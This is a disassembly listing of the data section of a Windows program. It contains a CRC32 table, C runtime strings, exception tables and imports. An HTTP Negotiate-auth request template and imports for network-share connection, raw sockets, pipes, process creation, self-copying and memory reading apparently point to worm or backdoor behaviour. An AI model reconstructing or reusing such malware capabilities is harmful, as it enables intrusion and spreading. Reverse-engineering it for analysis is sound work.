dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638 dd 2Eh ; DATA XREF: sub_401ACD+347Do
; sub_401ACD+356Do ...
dword_42763C dd 2Eh ; DATA XREF: sub_401ACD+389Do
; sub_401ACD+38D3o ...
; char aGetHttp1_0Host[]
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_427680 dq 1.388888888888889e-2 ; DATA XREF: sub_40D031+2Fr
dbl_427688 dq 1.666666666666667e-1 ; DATA XREF: sub_40D031+15r
dword_427690 dd 0FFFFFFFFh ; DATA XREF: sub_40D07D+16Fr
; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)r ...
align 8
dbl_427698 dq 1.333333333333333 ; DATA XREF: sub_40D07D+79r
dword_4276A0 dd 0 ; DATA XREF: sub_40D21F+4Do
; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+5Bo ...
flt_4276A4 dd 5.0e-1 ; DATA XREF: sub_40D99C+398r
dbl_4276A8 dq 9.765625e-4 ; DATA XREF: sub_4163FA+2BDr
; sub_4163FA+2D8r ...
dbl_4276B0 dq -1.52587890625e-4 ; DATA XREF: sub_417ADE+3E5r
dbl_4276B8 dq 3.0517578125e-4 ; DATA XREF: sub_417ADE+3C5r
dbl_4276C0 dq -3.0517578125e-4 ; DATA XREF: sub_417ADE+342r
; sub_417ADE+3A7r
dbl_4276C8 dq 1.52587890625e-4 ; DATA XREF: sub_417ADE+271r
dbl_4276D0 dq -1.739501953125e-3 ; DATA XREF: sub_417ADE+24Br
; sub_417ADE+2D5r ...
dbl_4276D8 dq 3.11279296875e-3 ; DATA XREF: sub_417ADE+E1r
dbl_4276E0 dq 3.0517578125e-5 ; DATA XREF: sub_417ADE+AEr
; sub_417ADE+138r ...
dbl_4276E8 dq 6.103515625e-5 ; DATA XREF: sub_417ADE+93r
; sub_417ADE+308r
dbl_4276F0 dq 2.288818359375e-3 ; DATA XREF: sub_417ADE+21r
dbl_4276F8 dq -3.0517578125e-5 ; DATA XREF: sub_418685+2Br
flt_427700 dd 9.765625e-4 ; DATA XREF: sub_41A4D2+1B0r
flt_427704 dd 8.0 ; DATA XREF: sub_41A4D2+1AAr
flt_427708 dd 0.0 ; DATA XREF: sub_41A4D2+171r
flt_42770C dd 1.0e-3 ; DATA XREF: sub_41A4D2+168r
dbl_427710 dq 1.0 ; DATA XREF: _floor+6Cr _ceil+6Cr ...
dword_427718 dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh ; DATA XREF: start+5o
; char Str1[]
Str1 db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41DC8A+8Eo
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41DC8A+4Fo
align 4
byte_427754 db 6 ; DATA XREF: __output:loc_41F6F6r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
db 8,'`h````',0
dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h
dd 8
aNull_0: ; DATA XREF: .data:off_43CBF4o
unicode 0, <(null)>,0
align 10h
aNull db '(null)',0 ; DATA XREF: .data:off_43CBF0o
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .data:off_43CE6Co
dbl_427878 dq 0.0 ; DATA XREF: __handle_exc+8Cr
; __handle_exc+ACr ...
dbl_427880 dq 4.195835e6 ; DATA XREF: __ms_p5_test_fdiv+Fr
dbl_427888 dq 3.145727e6 ; DATA XREF: __ms_p5_test_fdiv+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdivo
align 4
; char aE000[]
aE000 db 'e+000',0 ; DATA XREF: __cftoe+93o
align 10h
dword_4278C0 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: ___FrameUnwindToState+5o
dword_4278D0 dd 0FFFFFFFFh, 0 ; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+5o
dd offset sub_42224A
align 10h
dd offset sub_422228
dd offset sub_422232
dword_4278E8 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0
; DATA XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o
dword_4278F8 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: unknown_libname_11+5o
dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o
dd offset loc_4225AD
align 8
dd offset loc_422599
dd offset loc_42259D
dword_427920 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o
dd offset loc_422603
align 10h
dd offset loc_4225EF
dd offset loc_4225F3
dword_427938 dd 2 dup(0) ; DATA XREF: ___crtLCMapStringA+36o
; ___crtGetStringTypeA+39o ...
dword_427940 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
; DATA XREF: ___crtLCMapStringA+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
aDomainError db 'DOMAIN error',0Dh,0Ah,0
align 4
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 10h
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_43D03Co
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o
align 4
; char asc_427C08[]
asc_427C08 db 0Ah ; DATA XREF: __NMSG_WRITE+F1o
db 0Ah,0
align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o
db 0Ah
db 'Program: ',0
align 4
; char a___[]
a___ db '...',0 ; DATA XREF: __NMSG_WRITE+BFo
; char aProgramNameUnk[]
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do
align 8
dword_427C48 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: ___crtGetStringTypeA+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
; char VarName[]
VarName db 'TZ',0 ; DATA XREF: __tzset+Ao
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+24o
; char a1Qnan[]
a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_4257B7o
align 10h
; char a1Inf[]
a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+C7o
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+ADo
align 4
dword_427CE8 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
; DATA XREF: ___crtCompareStringA+5o
dd 427E24h
off_427D04 dd offset sub_4264E2 ; DATA XREF: sub_4264BA+8o
; sub_4264FE+2Co ...
dd offset sub_4264D5 ; ?what@runtime_error@@UBEPBDXZ
; doubtful name
dd offset sub_4266F6
dd offset dword_427E70
off_427D14 dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao
; sub_426568o ...
dd offset sub_4264D5 ; ?what@runtime_error@@UBEPBDXZ
; doubtful name
dd offset loc_426732
dword_427D20 dd 0 ; DATA XREF: sub_4264FE+16o
; sub_4265D0+16o
; char aInvalidStringP[]
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o
dd offset dword_427EBC
off_427D40 dd offset sub_42665B ; DATA XREF: sub_426677o
; sub_42669A+37o ...
dd offset sub_4264D5 ; ?what@runtime_error@@UBEPBDXZ
; doubtful name
dd offset loc_426714
; char aStringTooLong[]
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o
dd offset dword_427F00
off_427D60 dd offset ??_Gtype_info@@UAEPAXI@Z ; DATA XREF: type_info::~type_info(void)o
; .data:off_43D764o ...
; type_info::`scalar deleting destructor'(uint)
dd offset dword_427F30
off_427D68 dd offset sub_426813 ; DATA XREF: exception::exception(char const * const &)+8o
; exception::exception(exception const &)+8o ...
dd offset unknown_libname_16 ; Microsoft VisualC 2-8/net runtime
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: unknown_libname_16+7o
align 8
dword_427D88 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: _CxxThrowException(x,x)+Eo
dd 3, 19930520h, 2 dup(0)
dword_427DA8 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
; DATA XREF: ___crtLCMapStringW+5o
dword_427DC0 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
; DATA XREF: ___crtGetStringTypeW+5o
dd 43D764h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427DF0 dd offset off_43D77C ; DATA XREF: .rdata:00427E08o
; .rdata:00427E54o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DF0
dd offset dword_427DC0+18h
dword_427E10 dd 3 dup(0) ; DATA XREF: .rdata:00427E34o
dd 2, 427E08h, 3 dup(0)
dd offset off_43D77C
dd offset dword_427E10+4
off_427E38 dd offset off_43D79C ; DATA XREF: .rdata:00427E50o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E38
dd offset off_427DF0
dd offset dword_427DC0+18h
dword_427E5C dd 3 dup(0) ; DATA XREF: .rdata:00427E80o
dd 3, 427E50h
dword_427E70 dd 3 dup(0) ; DATA XREF: .rdata:00427D10o
dd offset off_43D79C
dd offset dword_427E5C+4
off_427E84 dd offset off_43D7BC ; DATA XREF: .rdata:00427E9Co
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E84
dd offset off_427DF0
dd offset dword_427DC0+18h
dword_427EA8 dd 3 dup(0) ; DATA XREF: .rdata:00427ECCo
dd 3, 427E9Ch
dword_427EBC dd 3 dup(0) ; DATA XREF: .rdata:00427D3Co
dd offset off_43D7BC
dd offset dword_427EA8+4
off_427ED0 dd offset off_43D7E0 ; DATA XREF: .rdata:00427EE8o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427ED0
dword_427EEC dd 3 dup(0) ; DATA XREF: .rdata:00427F10o
dd 1, 427EE8h
dword_427F00 dd 3 dup(0) ; DATA XREF: .rdata:00427D5Co
dd offset off_43D7E0
dd offset dword_427EEC+4
dd offset dword_427DC0+18h
dword_427F18 dd 4 dup(0) ; DATA XREF: .rdata:00427F40o
dd 1, 427F14h
dword_427F30 dd 3 dup(0) ; DATA XREF: .rdata:00427D64o
dd offset off_43D764
dd offset dword_427F18+8
align 8
stru_427F48 dd 19930520h ; Magic ; DATA XREF: .text:loc_426DF7o
dd 2 ; Count
dd offset stru_427F48.Info; InfoPtr
dd 0 ; CountDtr
dd 0 ; DtrPtr
dd 3 dup(0) ; _unk
dd -1 ; Info.Id
dd offset sub_426DE0 ; Info.Proc
dd 0 ; Info.Id
dd offset sub_426DD8 ; Info.Proc
stru_427F78 dd 19930520h ; Magic ; DATA XREF: sub_426E14o
dd 2 ; Count
dd offset stru_427F78.Info; InfoPtr
dd 0 ; CountDtr
dd 0 ; DtrPtr
dd 3 dup(0) ; _unk
dd -1 ; Info.Id
dd offset sub_426E04 ; Info.Proc
dd 0 ; Info.Id
dd offset sub_426E0C ; Info.Proc
stru_427FA8 dd 19930520h ; Magic ; DATA XREF: sub_426E20o
dd 2 ; Count
dd offset stru_427FA8.Info; InfoPtr
dd 1 ; CountDtr
dd offset stru_427FD8 ; DtrPtr
dd 3 dup(0) ; _unk
dd -1 ; Info.Id
dd 0 ; Info.Proc
dd -1 ; Info.Id
dd 0 ; Info.Proc
stru_427FD8 dd 0, 0, 1 ; _unk ; DATA XREF: .rdata:stru_427FA8o
dd 1 ; Count
dd offset stru_427FF0 ; RttiBlkPtr
dd 0
stru_427FF0 _msRttiDscr <0, 0, 0, offset loc_40D7CB> ; DATA XREF: .rdata:stru_427FD8o
stru_428000 _msExcInfo <-1, offset sub_426E2A> ; DATA XREF: .rdata:stru_428008o
stru_428008 _msExcept7 <19930520h, 1, offset stru_428000, 0, 0, 0>
; DATA XREF: .text:loc_426E32o
align 8
dd offset off_43D764
align 10h
dd 0FFFFFFFFh, 0
dd 0Ch, 42686Ch, 0
dd offset off_43D77C
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426618h, 0
dd offset off_43D79C
align 8
dd 0FFFFFFFFh, 0
dword_428070 dd 1Ch, 426682h, 3, 42805Ch, 428040h, 428024h ; DATA XREF: .rdata:00428094o
dword_428088 dd 0 ; DATA XREF: sub_426573+2Eo
; sub_4266F6+4Bo
dd offset sub_426568
dd 0
dd offset dword_428070+8
stru_428098 _msExcInfo <-1, offset sub_426E3C> ; DATA XREF: .rdata:stru_4280A0o
stru_4280A0 _msExcept7 <19930520h, 1, offset stru_428098, 0, 0, 0>
; DATA XREF: .text:loc_426E44o
stru_4280BC _msExcInfo <-1, offset sub_426E4E> ; DATA XREF: .rdata:stru_4280C4o
stru_4280C4 _msExcept7 <19930520h, 1, offset stru_4280BC, 0, 0, 0>
; DATA XREF: .text:loc_426E56o
stru_4280E0 _msExcInfo <-1, offset sub_426E60> ; DATA XREF: .rdata:stru_4280E8o
stru_4280E8 _msExcept7 <19930520h, 1, offset stru_4280E0, 0, 0, 0>
; DATA XREF: .text:loc_426E68o
align 8
dd offset off_43D7BC
align 10h
dd 0FFFFFFFFh, 0
dword_428118 dd 1Ch, 4266DEh, 3, 428104h, 428040h, 428024h ; DATA XREF: .rdata:0042813Co
dword_428130 dd 0 ; DATA XREF: sub_42669A+2Eo
; sub_4266F6+2Do
dd offset sub_426677
dd 0
dd offset dword_428118+8
stru_428140 _msExcInfo <-1, offset sub_426E72> ; DATA XREF: .rdata:stru_428148o
stru_428148 _msExcept7 <19930520h, 1, offset stru_428140, 0, 0, 0>
; DATA XREF: .text:loc_426E7Ao
dword_428164 dd 2, 428040h, 428024h ; DATA XREF: .rdata:0042817Co
dword_428170 dd 0 ; DATA XREF: sub_4266F6+Fo
dd offset sub_4264BA
dd 0
dd offset dword_428164
dd 283A8h, 2 dup(0)
dd 2841Eh, 271D8h, 283B0h, 2 dup(0)
dd 28434h, 271E0h, 281D0h, 2 dup(0)
dd 28CA0h, 27000h, 5 dup(0)
dd 28778h, 28C86h, 28C74h, 28C62h, 28C52h, 28C42h, 28C32h
dd 28C14h, 28C02h, 28BF0h, 28BDCh, 28BCCh, 28BBEh, 28BAEh
dd 28B9Ch, 28B82h, 28B6Ah, 28B50h, 28B36h, 28B1Ah, 28B0Ah
dd 28AFAh, 28AEEh, 28ADCh, 28AD0h, 28440h, 2844Eh, 2845Ch
dd 2846Eh, 28484h, 2849Ah, 284A2h, 284B2h, 284C0h, 284CEh
dd 284E4h, 284F4h, 28500h, 28516h, 2852Ch, 28540h, 28556h
dd 28566h, 28576h, 28588h, 28598h, 285A4h, 285B4h, 285C6h
dd 285DAh, 285ECh, 285FCh, 2860Ah, 28622h, 2863Ah, 28662h
dd 2867Ah, 28686h, 28696h, 286A2h, 286B0h, 286C4h, 286D6h
dd 286EAh, 286F8h, 2870Ah, 2871Ch, 2872Ah, 28736h, 2874Eh
dd 28768h, 2878Ah, 2879Ch, 287B4h, 287CEh, 287EAh, 287FAh
dd 28814h, 28830h, 2883Eh, 28858h, 28864h, 28870h, 28882h
dd 28894h, 288A8h, 288B8h, 288CAh, 288DAh, 288E8h, 288FAh
dd 2890Ah, 28920h, 2892Eh, 2893Ch, 28958h, 2896Eh, 28984h
dd 28990h, 289A6h, 289B6h, 289CAh, 289E0h, 289EEh, 289FAh
dd 28A14h, 28A24h, 28A36h, 28A48h, 28A56h, 28A70h, 28A7Eh
dd 28A8Ch, 28A9Ah, 28AAAh, 28ABAh, 28AC6h, 0
dd 28408h, 0
dd 80000007h, 8000000Fh, 8000000Ch, 80000074h, 80000073h
dd 80000015h, 8000000Ah, 80000002h, 8000000Dh, 80000001h
dd 28426h, 8000000Bh, 80000009h, 80000004h, 80000010h
dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h
dd 80000006h, 0
db 6
align 2
aWnetaddconne_1 db 'WNetAddConnection2A',0
aMpr_dll_0 db 'MPR.dll',0
aA_2 db 'A',0
aWsasocketa_0 db 'WSASocketA',0
align 4
aWs2_32_dll_0 db 'WS2_32.dll',0
align 10h
db '¹',0
aExitprocess db 'ExitProcess',0
a4 db '4',0
aClosehandle db 'CloseHandle',0
aF_2 db 'f',0
aCreateprocessa db 'CreateProcessA',0
align 2
dw 17Dh
aGetmodulefilen db 'GetModuleFileNameA',0
align 4
db 0C1h ; Á
db 1, 47h, 65h
aTsystemdirecto db 'tSystemDirectoryA',0
dw 356h
aSleep db 'Sleep',0
aO_0 db 'o',0
aCreatethread db 'CreateThread',0
align 2
aG db 'ƒ',0
aDeletefilea db 'DeleteFileA',0
dd 704F0286h, 72506E65h, 7365636Fh, 1430073h
aGetcurrentproc db 'GetCurrentProcessId',0
db 71h ; q
db 1, 47h, 65h
aTlasterror db 'tLastError',0
align 4
aC_2 db 'C',0
aCopyfilea db 'CopyFileA',0
db 19h
db 3, 53h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
dw 15Eh
aGetfileattribu db 'GetFileAttributesA',0
align 4
db 7Fh ;
db 1, 47h, 65h
aTmodulehandlea db 'tModuleHandleA',0
align 10h
db 90h ;
db 3, 57h, 61h
aItforsingleobj db 'itForSingleObject',0
db '`',0
aCreatemutexa db 'CreateMutexA',0
align 2
dw 1DFh
aGettickcount db 'GetTickCount',0
align 2
dw 35Fh
aTerminatethrea db 'TerminateThread',0
dd 654701D5h, 6D655474h, 74615070h, 4168h, 6F4D026Eh, 69466576h
dd 41656Ch, 6F4C0252h, 694C6461h, 72617262h, 4179h, 654701A0h
dd 6F725074h, 64644163h, 73736572h, 1140000h, 43746547h
dd 75706D6Fh, 4E726574h, 41656D61h, 1740000h, 4C746547h
dd 6C61636Fh, 666E4965h, 416Fh, 654701E9h, 72655674h, 6E6F6973h
dd 417845h, 784500BAh, 68547469h, 64616572h, 2510000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
aS_7 db '˜',0
aEntercriticals db 'EnterCriticalSection',0
align 2
dw 224h
aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0
aB db '',0
aDeletecritical db 'DeleteCriticalSection',0
dw 3A4h
aWritefile db 'WriteFile',0
aO_1 db 'O',0
aCreateeventa db 'CreateEventA',0
align 2
dw 2B5h
aReadfile_0 db 'ReadFile',0
align 2
aS_8 db 'S',0
aCreatefilea db 'CreateFileA',0
dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440093h
dd 63696C70h, 48657461h, 6C646E61h, 1420065h
aGetcurrentpr_0 db 'GetCurrentProcess',0
aE_0 db 'e',0
aCreatepipe db 'CreatePipe',0
align 4
dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h
dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470163h, 6C694674h
dd 7A695365h, 0CE0065h, 646E6946h, 736F6C43h, 0C50065h
aFiletimetosyst db 'FileTimeToSystemTime',0
align 2
db 'Ä',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
db 'Ü',0
aFindnextfilea db 'FindNextFileA',0
db 'Ò',0
aFindfirstfilea db 'FindFirstFileA',0
align 2
dw 31Bh
aSetfilepointer db 'SetFilePointer',0
align 4
db 0EEh ; î
db 2, 53h, 65h
aTconsolectrlha db 'tConsoleCtrlHandler',0
db 8Eh ; Ž
db 3, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 0FCh
aGenerateconsol db 'GenerateConsoleCtrlEvent',0
align 2
dw 173h
aGetlocaltime db 'GetLocalTime',0
align 2
dw 2A3h
aQueryperform_1 db 'QueryPerformanceCounter',0
db 0A4h ; ¤
db 2, 51h, 75h
aEryperformance db 'eryPerformanceFrequency',0
dd 724600F8h, 694C6565h, 72617262h, 1590079h
aGetenvironment db 'GetEnvironmentVariableW',0
db 16h
db 2, 48h, 65h
aApfree db 'apFree',0
align 4
db 10h
db 2, 48h, 65h
aApalloc db 'apAlloc',0
db 0A3h ; £
db 1, 47h, 65h
aTprocessheap db 'tProcessHeap',0
align 2
dw 389h
aVirtualqueryex db 'VirtualQueryEx',0
align 4
db 0B8h ; ¸
db 2, 52h, 65h
aAdprocessmemor db 'adProcessMemory',0
dd 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6F4600F3h
dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h
dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h
dd 6B63h, 6E550371h, 5670616Dh, 4F776569h, 6C694666h, 2680065h
dd 5670614Dh, 4F776569h, 6C694666h, 540065h
aCreatefilemapp db 'CreateFileMappingA',0
align 10h
db 1Fh
db 3, 53h, 65h
aTfiletime db 'tFileTime',0
dw 165h
aGetfiletime db 'GetFileTime',0
db '¼',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
db 94h ; ”
db 3, 57h, 69h
aDechartomultib db 'deCharToMultiByte',0
dw 275h
aMultibytetowid db 'MultiByteToWideChar',0
db 0C3h ; Ã
db 3, 6Ch, 73h
aTrcmpia db 'trcmpiA',0
db 5Ah ; Z
db 1, 47h, 65h
aTexitcodeproce db 'tExitCodeProcess',0
align 2
dw 291h
aPeeknamedpipe db 'PeekNamedPipe',0
dw 178h
aGetlogicaldr_0 db 'GetLogicalDrives',0
align 2
dw 204h
aGlobalmemoryst db 'GlobalMemoryStatus',0
align 10h
dd 6548021Ah, 65527061h, 6F6C6C41h, 2D70063h, 556C7452h
dd 6E69776Eh, 1E20064h
aGettimezoneinf db 'GetTimeZoneInformation',0
align 4
dd 654701C8h, 73795374h, 546D6574h, 656D69h, 654701B7h
dd 61745374h, 70757472h, 6F666E49h, 1100041h, 43746547h
dd 616D6D6Fh, 694C646Eh, 41656Eh, 654701E8h, 72655674h
dd 6E6F6973h, 1580000h
aGetenvironme_0 db 'GetEnvironmentVariableA',0
dd 65480214h, 65447061h, 6F727473h, 2120079h, 70616548h
dd 61657243h, 6574h, 69560383h, 61757472h, 6572466Ch, 3810065h
dd 74726956h, 416C6175h, 636F6C6Ch, 2360000h, 61427349h
dd 69725764h, 74506574h, 1040072h, 43746547h, 666E4950h
dd 0FD006Fh, 41746547h, 5043h, 65470193h, 4D454F74h, 5043h
dd 615202A7h, 45657369h, 70656378h, 6E6F6974h, 21C0000h
dd 70616548h, 657A6953h, 2440000h, 614D434Ch, 72745370h
dd 41676E69h, 2450000h, 614D434Ch, 72745370h, 57676E69h
dd 36E0000h
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 2
dw 0F6h
